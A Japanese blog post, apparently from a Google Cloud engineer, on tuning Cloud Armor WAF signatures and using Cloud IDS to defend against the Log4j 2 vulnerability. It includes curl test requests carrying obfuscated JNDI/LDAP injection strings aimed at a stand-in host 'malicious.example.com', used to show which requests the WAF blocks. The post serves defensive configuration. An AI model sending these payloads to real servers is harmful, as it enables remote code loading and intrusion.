続 Cloud Armor の WAF ルールで Apache Log4j 2 の脆弱性対策
Apache Log4j 2 の脆弱性に対応した Cloud Armor の WAF ルールにアップデートがありましたので、別エントリとしてご紹介したいと思います。
元の記事を更新してもよかったのですが、すでに読まれた方には更新が伝わりにくいことと、そもそも Cloud Armor の「事前に設定されたルール」のチューニングについては元の記事では触れていなかったので、別のエントリとして書きました。
Cloud Armor の WAF ルールの更新
元の記事で「Google Cloud のエンジニアによるルールのチューニングは随時おこなわれている」と書き、実際に記事を書き終わった直後に試したら、執筆時点ではブロックできてなかった攻撃パターンもブロックされるようになった旨を追記しましたが、さらなる更新がありましたのでご紹介します。
たとえば、昨日 2021 年 12 月 13 日時点では以下のようなアクセスがブロックされないことが分かっていましたが、現時点では問題なくブロックされるようになりました。
$ curl -H 'User-Agent: ${jn${env::-}di:ldap://malicious.example.com/attack-code}' https://example.jp/
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden
他にはこんな例もありました。こちらも同様に昨日時点ではブロックされていないことを確認していましたが、現時点ではブロックされています。
$ curl -H 'User-Agent: ${j${FOO:BAR:-nD}${lower:i${FOO:BAR:-:}}ldap://malicious.example.com/attack-code}' https://example.jp/
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden
このように Cloud Armor の WAF ルールのチューニングは継続的に行なわれております。もちろん、存在するすべてのパターンを網羅するのは難しいかとは思いますが、できるだけの対応がおこなわれているのが現状です。
Cloud Armor の WAF ルールとシグネチャ
元の記事で Apache Log4j 2 の脆弱性に対応する Cloud Armor の WAF ルールとしては cve-canary
を設定してください(具体的な設定内容としては evaluatePreconfiguredExpr('cve-canary')
)と書きましたが、Cloud Armor の事前に設定されたルールは、実際には細かいシグネチャから成っており、個別のシグネチャを有効化・無効化することで、ルールをさらに細かくチューニングすることが可能です。
たとえばルール cve-canary
はドキュメントの CVEs and other vulnerabilities のセクションにある通り、執筆時点では以下のさらに細かい 3 つのシグネチャから構成されています。
- id044228:一番基本的な CVE-2021-44228(Apache Log4j 2)に対応するシグネチャ (う、説明のところの CVE にタイポがありますね :-)
- id144228:WAF ルールをすり抜けるように細工・難読化されたリクエストをブロックするためのシグネチャ
- id244228:さらに巧妙に細工されたリクエストをブロックするために感度レベルを上げたシグネチャ。ただし多少、偽陽性(false positive)の可能性が上がる。
表にある “Sensitivity level” は各シグネチャの「感度レベル」で、ModSecurity における「パラノイアレベル」に対応します。
ちなみに、Cloud Armor における事前に設定されたルールは OWASP ModSecurity Core Rule Set にもとづいてます。(執筆時点でバージョン 3.0.2 にもとづいてます)
感度レベルは 1〜4 の四段階からなっており、感度レベルが低い(数字が小さい)ほど信頼度が高いシグネチャとなり、偽陽性が生じる可能性は低くなります。逆に感度レベルが高い(数字が大きい)ほど、セキュリティは強化されます(より多くの脅威を検知しやすくなります)が、誤検出が生じる可能性が高まります。
- 1 がデフォルトで、一般的なセキュリティ要件を満たし、偽陽性が発生することはまれです。偽陽性が発生した場合、OWASP ModSecurity Core Rule Set のチームが報告を受け付けてます。
- 2 には多くの追加のパターンが含まれ、正規表現ベースの SQLi や XSS 対策のルールなどが該当します。感度レベル 1 では検知できないような、高度に難読化された攻撃等も検知できます。
- 3 ではさらにパターンやキーワードが追加され、それほど一般的でない攻撃にも対応します。利用できる記号・文字等を制限し、未知の攻撃におも対応しようとします。そのため、定常的に偽陽性が発生する可能性もあります。より高いセキュリティ要件が求められる場合に向いており、経験を積んだエンジニアによる運用が求められます。
- 4 ではさらに利用できる記号・文字が制限されます。そのため、非常に多くの偽陽性が発生する可能性があります。特に高いセキュリティ要件を満たす必要があり、経験豊富なエンジニアによる運用が求められます。
というわけで、cve-canary
ルールのシグネチャ id044228-cve
と id144228-cve
は同じ、デフォルトの感度レベルで、誤検出の可能性は一番低いですが、id244228-cve
はより多くの細工されたリクエストを検出できる一方、前の二つよりも誤検出の可能性は高くなる、と言えます。
なお、Cloud Armor では他にも SQL インジェクションに対応する sqli-stable/canary
、クロスサイトスクリプティング(XSS)に対応する xss-stable/canary
、など、10 種類程度の一般的な攻撃に対応するルールが用意されており、それぞれのルールに含まれるシグネチャとその感度レベルが一覧になっています。
Cloud Armor の WAF ルールのチューニング
さて、Cloud Armor の WAF ルールとシグネチャの関係が分かったところで、実際に WAF ルールのチューニングについて見てみます。
チューニングと言っても、実態は非常に簡単で、各ルールに含まれるシグネチャのうち、どれを使ってどれを使わないかを選択するだけになります。
たとえば、ルール cve-canary
には 2 つの感度レベル 1 のシグネチャと、1 つの感度レベル 3 のシグネチャが含まれています。このうち感度レベル 3 のシグネチャは誤検知が発生する可能性が感度レベル 1 のシグネチャよりも高いため利用したくない、とします。
その場合、Cloud Armor の設定において、感度レベル 3 のシグネチャは使わない、という設定をすることになります。(使うシグネチャを列挙(足し算)するのではなく、使わないシグネチャを列挙(引き算)します。)
具体的な設定は次の通りです。この設定では感度レベル 3 のシグネチャ id244228
を除外しています。
evaluatePreconfiguredExpr('cve-canary', ['owasp-crs-v030001-id244228-cve'])
設定の書式は以下のように、ルール名に続けて除外するシグネチャの ID を列挙する形です。
evaluatePreconfiguredExpr('ルール名', ['除外シグネチャ1', '除外シグネチャ2', '除外シグネチャ3' ]
(多くのシグネチャを含むルールで、感度レベル 1 のシグネチャだけ使いたい場合は、感度レベル 2〜4 のシグネチャを全部列挙して除外しないといけないので、ちょっと大変です。たとえば、ドキュメントの SQLi 感度レベル1
という例がそれに当たります。)
また、実際に運用をしてみて、偽陽性が多く発生するようなシグネチャがあった場合、そのシグネチャだけ除外する、といったような運用が考えられます。
元の記事に、Cloud Armor がリクエストをブロックした時のログを出しましたが、以下の通り preconfiguredExprIds
に、どのシグネチャにもとづいてリクエストがブロックされたかが含まれます。もしこれが偽陽性だった場合は、そのシグネチャを除外する対応がとれます。
"enforcedSecurityPolicy": {
"configuredAction": "DENY",
"outcome": "DENY",
"matchedLength": 26,
"matchedFieldName": "user-agent",
"matchedFieldLength": 40,
"priority": 1000,
"preconfiguredExprIds": [
"owasp-crs-v030001-id044228-cve"
],
"matchedFieldType": "HEADER_VALUES",
"name": "example-jp-security-policy",
"matchedFieldValue": "${j${::-n}di:l${"
},
では実際に、感度レベル 3 のシグネチャ owasp-crs-v030001-id244228-cve
を除外して、どんな変化があるか試してみます。まず、もともとの設定
evaluatePreconfiguredExpr('cve-canary')
を ↓ のように変更します。
evaluatePreconfiguredExpr('cve-canary',['owasp-crs-v030001-id244228-cve'])
変更を反映させた後ちょっと待ってから、攻撃を模したリクエストを送ってみます。
$ curl -H 'User-Agent: ${jn${env::-}di:ldap://malicious.example.com/attack-code}' https://example.jp/
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden$ curl -H 'User-Agent: ${j${FOO:BAR:-nD}${lower:i${FOO:BAR:-:}}ldap://malicious.example.com/attack-code}' https://example.jp/
example-jp
すると、本記事の冒頭に挙げた二つのリクエストのうち、二つ目のリクエストに関してはブロックされなくなりました。リクエストの見た目も二つ目のリクエストの方が難読化されており、感度レベルを高くしないと検知できなさそうな印象はあります。(個人的な見解です 😁 )
このように、感度レベルの違うルールを取捨選択したり、自分の環境で偽陽性が発生するルールを除外することで、自分のトラフィックに合ったシグネチャを使いつつ、できるだけ攻撃を防ぐ、といった運用が可能になります。
ちなみに、内容が公開されている Core Rule Set にもとづく他の WAF ルールと違い、
cve-canary
は現時点では Google Cloud 側でチューニングがおこなわれており、その具体的な詳細は公開されていないため、シグネチャの取捨選択に当たっては、テスト環境等でリクエストを送るなどした結果をもって判断をお願いします。
Cloud Armor のルールと Core Rule Set の関係
ところで、上に「Cloud Armor における事前に設定されたルールは OWASP ModSecurity Core Rule Set にもとづいてます」と書きましたが、具体的にはどういう対応関係があるのでしょうか。
たとえば SQL インジェクションに対応するルール sqli-stable/canary
に含まれるシグネチャ owasp-crs-v030001-id942140-sqli
と owasp-crs-v030001-id942160-sqli
を例に見てみます。
まずは OWASP ModSecurity Core Rule Set のページへ行って、942140
で検索してみます。するとそれっぽいファイルが見つかります。(上記の通り、v3.0.2 ベースなので、ブランチを v3.0/master にしています)
id:942140
に該当する箇所を見ると SQL Injection Attack: Common DB Names Detected
というシグネチャで、上のリストの説明と同じであることが分かっていただけると思います。
同様に、id:942160
を見ると、こちらは Detects blind sqli tests using sleep() or benchmark()
となっており、こちらも上の説明と同じです。
このように、各ルール内のシグネチャの ID は、OWASP ModSecurity Core Rule Set の各シグネチャの ID に対応しています。ですので、ドキュメントの説明だけでは内容が分かりにくい場合は、Core rule Set の具体的な内容を参照いただくのがいいかと思います。
繰り返しになりますが、
cve-canary
は Core Rule Set にもとづくものではありませんので、上記は該当しません。
Cloud IDS
さて、ここまで Cloud Armor のご紹介をしてきましたが、Apache Log4j 2 対策として使っていただけるサービスには Cloud IDS (Intrusion Detection System) もあります。
Cloud Armor では実際に攻撃として検知されたリクエストを(プレビューモードの設定もあるものの)ブロックするので、本番環境にいきなり入れるのは怖い、といった場合もあるかと思います。
その場合、検知だけをおこなう Cloud IDS というマネージドサービスが使えます。こちらのサービスでは、まず Palo Alto Networks 社のシステムをベースにしたエンドポイントをマネージド環境に構築します。そして、VPC 内のトラフィックのそのエンドポイントへ送り、セキュリティエンジンによる脅威情報の検知をおこないます。
実際の検知内容はこの ↓ ような感じです。
Cloud Armor でいきなりブロックするのは(偽陽性もあり得るし)怖いけど、何もしないってわけにもいかないから、まずは検知だけでも、という場合には簡単に導入していただけるかなと思います。
補足情報
Apache Log4j 2 のゼロデイ脆弱性が公になってから執筆時点で 5 日経ち、そろそろ色んな情報がまとまってきました。
Google Cloud では、(元記事を書く契機となった)下記の Cloud Armor の WAF ルールによる保護に関する記事を初めとしていくつかの記事が公開されています。
また、こちらも元記事でも紹介しましたが、Apache Log4j 2 の脆弱性関連の Google Cloud 全体の Security Advisory はこちらにまとまっています
さらに、Google Cybersecurity Action Team による推奨対策のまとめ記事も公開されています。ご紹介した Cloud Armor や Cloud IDS による対応に加え、Chronicle による調査方法、Cloud Logging による検知方法などが、具体的に解説されています。
Cloud Logging による検知方法のさらに詳しいドキュメントも作成されました。
よくセキュリティ対策は重層的な防御・対応が必要だと言ったりしますが、これらの情報も参考にして、Apache Log4j 2 問題への対策に加えていただけると嬉しいです。🙏